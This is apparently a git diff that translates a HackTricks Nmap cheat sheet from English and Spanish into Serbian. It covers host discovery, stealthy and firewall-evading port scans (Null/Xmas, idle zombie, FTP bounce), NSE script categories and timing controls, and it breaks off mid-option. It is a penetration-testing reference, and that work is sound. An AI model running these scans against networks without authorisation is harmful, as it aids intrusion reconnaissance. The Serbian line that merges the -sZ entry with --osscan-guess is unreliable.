-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## Parametri -## Parameters +### IP adrese za skeniranje -### IPs to scan +* **`,`:** Označava IP adrese direktno +* **`-iL `:** lista_IP adresa +* **`-iR `**: Broj nasumičnih IP adresa, možete isključiti moguće IP adrese sa `--exclude ` ili `--excludefile `. -* **`,`:** Indicate the ips directly -* **`-iL `:** list\_IPs -* **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +### Otkrivanje opreme -### Equipment discovery +Podrazumevano, Nmap pokreće fazu otkrivanja koja se sastoji od: `-PA80 -PS443 -PE -PP` -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +* **`-sL`**: Nije invazivan, izlistava ciljeve praveći **DNS** zahteve za rešavanje imena. Korisno je znati da li su sve IP adrese na primer www.prueba.es/24 naši ciljevi. +* **`-Pn`**: **Bez pinga**. Ovo je korisno ako znate da su sve adrese aktivne (ako nisu, možete izgubiti puno vremena, ali ova opcija takođe može dati lažne negativne rezultate govoreći da nisu aktivne), sprečava fazu otkrivanja. +* **`-sn`** : **Bez skeniranja portova**. Nakon završetka faze izviđanja, ne skenira portove. Relativno je neprimetan i omogućava mali sken mreže. Sa privilegijama šalje ACK (-PA) na 80, SYN(-PS) na 443 i zahtev za echo i zahtev za vremenski pečat, bez privilegija uvek završava konekcije. Ako je cilj mreža, koristi samo ARP(-PR). Ako se koristi sa drugom opcijom, samo se odbacuju paketi druge opcije. +* **`-PR`**: **Ping ARP**. Koristi se podrazumevano prilikom analize računara u našoj mreži, brže je od korišćenja pingova. Ako ne želite da koristite ARP pakete, koristite `--send-ip`. +* **`-PS `**: Šalje SYN pakete na koje ako odgovori SYN/ACK, port je otvoren (na koji odgovara sa RST da ne bi završio konekciju), ako odgovori RST, port je zatvoren, a ako ne odgovori, port je nedostupan. U slučaju da nemate privilegije, automatski se koristi potpuna konekcija. Ako nisu navedeni portovi, šalje se na 80. +* **`-PA `**: Kao prethodna opcija, ali sa ACK, kombinacija obe opcije daje bolje rezultate. +* **`-PU `**: Cilj je suprotan, šalju se na portove za koje se očekuje da su zatvoreni. Neke firewall-ove proveravaju samo TCP konekcije. Ako je port zatvoren, odgovara se sa "port unreachable", ako se odgovori sa drugim ICMP ili ako se ne odgovori, ostaje kao "destination unreachable". +* **`-PE, -PP, -PM`** : ICMP PING-ovi: echo replay, timestamp i addresmask. Pokreću se da bi se saznalo da li je cilj aktivan. +* **`-PY`**: Šalje SCTP INIT probe na 80 podrazumevano, može se odgovoriti sa INIT-ACK(otvoren) ili ABORT(zatvoren) ili ništa ili ICMP nedostupno(neaktivno). +* **`-PO `**: Protokol je naznačen u zaglavljima, podrazumevano 1(ICMP), 2(IGMP) i 4(Encap IP). Za ICMP, IGMP, TCP (6) i UDP (17) protokole se šalju zaglavlja protokola, za ostale se šalje samo IP zaglavlje. Svrha ovoga je da se zbog deformacije zaglavlja, odgovara sa "Protocol unreachable" ili odgovori istog protokola kako bi se saznalo da li je dostupan. +* **`-n`**: Bez DNS-a +* **`-R`**: Uvek DNS -* **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -* **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -* **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -* **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -* **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -* **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -* **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -* **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -* **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -* **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -* **`-n`**: No DNS -* **`-R`**: DNS always +### Tehnike skeniranja portova -### Port scanning techniques +* **`-sS`**: Ne završava konekciju tako da ne ostavlja trag, veoma dobro ako se može koristiti (privilegije). Ovo je podrazumevana opcija. +* **`-sT`**: Završava konekciju, tako da ostavlja trag, ali se može koristiti sigurno. Podrazumevano bez privilegija. +* **`-sU`**: Sporije, za UDP. Najčešće: DNS(53), SNMP(161,162), DHCP(67 i 68), (-sU53,161,162,67,68): otvoren(odgovor), zatvoren(port nedostupan), filtriran (drugi ICMP), otvoren/filtriran (ništa). U slučaju otvoren/filtriran, -sV šalje brojne zahteve da bi otkrio neku od verzija koje nmap podržava i može otkriti pravo stanje. To značajno povećava vreme. +* **`-sY`**: SCTP protokol ne uspeva da uspostavi konekciju, tako da nema logova, radi kao -PY +* **`-sN,-sX,-sF`:** Null, Fin, Xmas, mogu proći kroz neke firewall-ove i izvući informacije. Baziraju se na činjenici da standardno usklađeni uređaji treba da odgovore sa RST na sve zahteve koji nemaju SYN, RST ili ACK postavljene zastavice: otvoren/filtriran(ništa), zatvoren(RST), filtriran (ICMP nedostupno). Nepouzdano na Windows-u, CIsco-u, BSDI i OS/400. Na Unix-u da. +* **`-sM`**: Maimon skeniranje: Šalje FIN i ACK zastavice, koristi se za BSD, trenutno će sve vratiti kao zatvoreno. +* **`-sA, sW`**: ACK i Window, koristi se za otkrivanje firewall-ova, da bi se saznalo da li su portovi filtrirani ili ne. -sW razlikuje između otvorenih/zatvorenih jer otvoreni odgovaraju sa drugačijom vrednošću prozora: otvoren (RST sa prozorom različitim od 0), zatvoren (RST prozor = 0), filtriran (ICMP nedostupno ili ništa). Ne svi računari rade na ovaj način, pa ako su svi zatvoreni, ne radi, ako je nekoliko otvoreno, radi dobro, a ako je mnogo otvorenih i malo zatvorenih, radi na drugačiji način. +* **`-sI`:** Idle skeniranje. Za slučajeve kada postoji aktivan firewall, ali znamo da ne filtrira određenu IP adresu (ili kada jednostavno želimo anonimnost), možemo koristiti skener zombija (radi za sve portove), da bismo pronašli moguće zombije možemo koristiti skriptu ipidseq ili eksploit auxiliary/scanner/ip/ipidseq. Ovaj skener se bazira na broju IPID paketa IP adrese. +* **`--badsum`:** Šalje pogrešan zbir, računari bi odbacili pakete, ali firewall-ovi bi mogli odgovoriti nešto, koristi se za otkrivanje firewall-ova. +* **`-sZ`:** +**--osscan-guess** Kada detekcija operativnog sistema nije savršena, ovo će povećati napor -* **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -* **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -* **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -* **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -* **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -* **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -* **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -* **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -* **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -* **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -* **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -* **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +**Skripte** -### **Centrar análisis** +\--script _\_|_\_|_\_|_\_\[,...] -**-p:** Sirve para dar los puertos a escanear. Para seleccionar los 65335: **-p-** o **-p all**. Nmap tiene una clasificaación interna según su popularidad. Por defecto usa los 1000 ppales. Con **-F** (fast scan) analiza los 100 ppales. Con **--top-ports \** Analiza ese numero de ppales (de 1 hasta los 65335). Comprueba los puertos en orden aleatorio, para que eso no pase **-r**. También podemos seleccionar puertos: 20-30,80,443,1024- Esto ultimo significa que mire en adelante del 1024. También podemos agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos escoger un rango dentro de los puertos populares de nmap: -p \[-1024] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio \** Analiza los puertos más comúnes que un ratio que debe estar entre 0 y 1 +Za korišćenje podrazumevanih skripti, dovoljno je koristiti -sC ili --script=default -**-sV** Escaneado de versión, se puede regular la intensidad de 0 a 9, por defecto 7. +Vrste skripti su: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, i vuln -**--version-intensity \** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP +* **Auth:** izvršava sve dostupne skripte za autentifikaciju +* **Default:** izvršava osnovne podrazumevane skripte alata +* **Discovery:** prikuplja informacije o cilju ili žrtvi +* **External:** skripta za korišćenje spoljnih resursa +* **Intrusive:** koristi skripte koje se smatraju napadnim za žrtvu ili cilj +* **Malware:** proverava da li postoje otvorene veze putem zlonamernog koda ili zadnjih vrata (backdoors) +* **Safe:** izvršava skripte koje nisu napadne +* **Vuln:** otkriva najpoznatije ranjivosti +* **All:** izvršava sve dostupne NSE skripte -**-O** Deteccion de os +Za pretragu skripti: -**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os (ahorra tiempo) +**nmap --script-help="http-\*" -> One koje počinju sa http-** -**--osscan-guess** Cuando la detección de os no es perfecta esto hace que se esfuerce más +**nmap --script-help="not intrusive" -> Sve osim tih** -**Scripts** +**nmap --script-help="default or safe" -> One koje su u jednoj ili drugoj ili obema kategorijama** -\--script _\_|_\_|_\_|_\_\[,...] - -Para usar los de por efecto vale con -sC o --script=default - -Los tipos que hay son de: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln - -* **Auth:** ejecuta todos sus _scripts_ disponibles para autenticación -* **Default:** ejecuta los _scripts_ básicos por defecto de la herramienta -* **Discovery:** recupera información del _target_ o víctima -* **External:** _script_ para utilizar recursos externos -* **Intrusive:** utiliza _scripts_ que son considerados intrusivos para la víctima o _target_ -* **Malware:** revisa si hay conexiones abiertas por códigos maliciosos o _backdoors_ (puertas traseras) -* **Safe:** ejecuta _scripts_ que no son intrusivos -* **Vuln:** descubre las vulnerabilidades más conocidas -* **All:** ejecuta absolutamente todos los _scripts_ con extensión NSE disponibles - -Para buscar scripts: - -**nmap --script-help="http-\*" -> Los que empiecen por http-** - -**nmap --script-help="not intrusive" -> Todos menos esos** - -**nmap --script-help="default or safe" -> Los que estan en uno o en otro o en ambos** - -**nmap --script-help="default and safe" --> Los que estan en ambos** +**nmap --script-help="default and safe" --> One koje su u obema kategorijama** **nmap --script-help="(default or safe or intrusive) and not http-\*"** \--script-args _\_=_\_,_\_={_\_=_\_},_\_={_\_,_\_} -\--script-args-file _\_ +\--script-args-file _\_ -\--script-help _\_|_\_|_\_|_\_|all\[,...] +\--script-help _\_|_\_|_\_|_\_|all\[,...] -\--script-trace ---> Da info de como va elscript +\--script-trace ---> Daje informacije o tome kako skripta napreduje \--script-updatedb -**Para usar un script solo hay que poner: namp --script Nombre\_del\_script objetivo** --> Al poner el script se ejecutará tanto el script como el escaner, asi que tambien se pueden poner opciones del escaner, podemos añadir **“safe=1”** para que se ejecuten solo los que sean seguros. +**Za korišćenje skripte samo treba uneti: nmap --script Ime\_skripte cilj** --> Kada se unese skripta, izvršiće se i skripta i skener, tako da se mogu dodati i opcije skenera, možemo dodati **"safe=1"** da se izvrše samo sigurne skripte. -**Control tiempo** +**Kontrola vremena** -**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap može menjati vreme u sekundama, minutama, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m sve rade istu stvar. -Nmap divide el numero total de host a escanear en grupos y analiza esos grupos en bloques de forma que hasta que no han sido analizados todos, no pasa al siguiente bloque (y el usuario tampoco recibe ninguna actualización hasta que se haya analizado el bloque) de esta forma, es más óptimo para nmap usar grupos grandes. Por defecto en clase C usa 256. +Nmap deli ukupan broj hostova za skeniranje u grupe i analizira te grupe blokovima, tako da ne prelazi na sledeći blok dok svi nisu analizirani (i korisnik ne dobija ažuriranja dok blok nije analiziran). Na taj način, za Nmap je efikasnije koristiti veće grupe. Podrazumevano koristi 256 za klasu C. -Se puede cambiar con\*\*--min-hostgroup\*\* _**\**_**;** **--max-hostgroup** _**\**_ (Adjust parallel scan group sizes) +Može se promeniti sa\*\*--min-hostgroup\*\* _**\**_**;** **--max-hostgroup** _**\**_ (Prilagodi veličine grupa paralelnog skeniranja) -Se puede controlar el numero de escaners en paralelo pero es mejor que no (nmpa ya incorpora control automatico en base al estado de la red): **--min-parallelism** _**\**_**;** **--max-parallelism** _**\**_ +Može se kontrolisati broj paralelnih skenera, ali je bolje ne koristiti (Nmap već ima automatsku kontrolu na osnovu stanja mreže): **--min-parallelism** _**\**_**;** **--max-parallelism** _**\**_ -Podemos modificar el rtt timeout, pero no suele ser necesario: **--min-rtt-timeout** _**\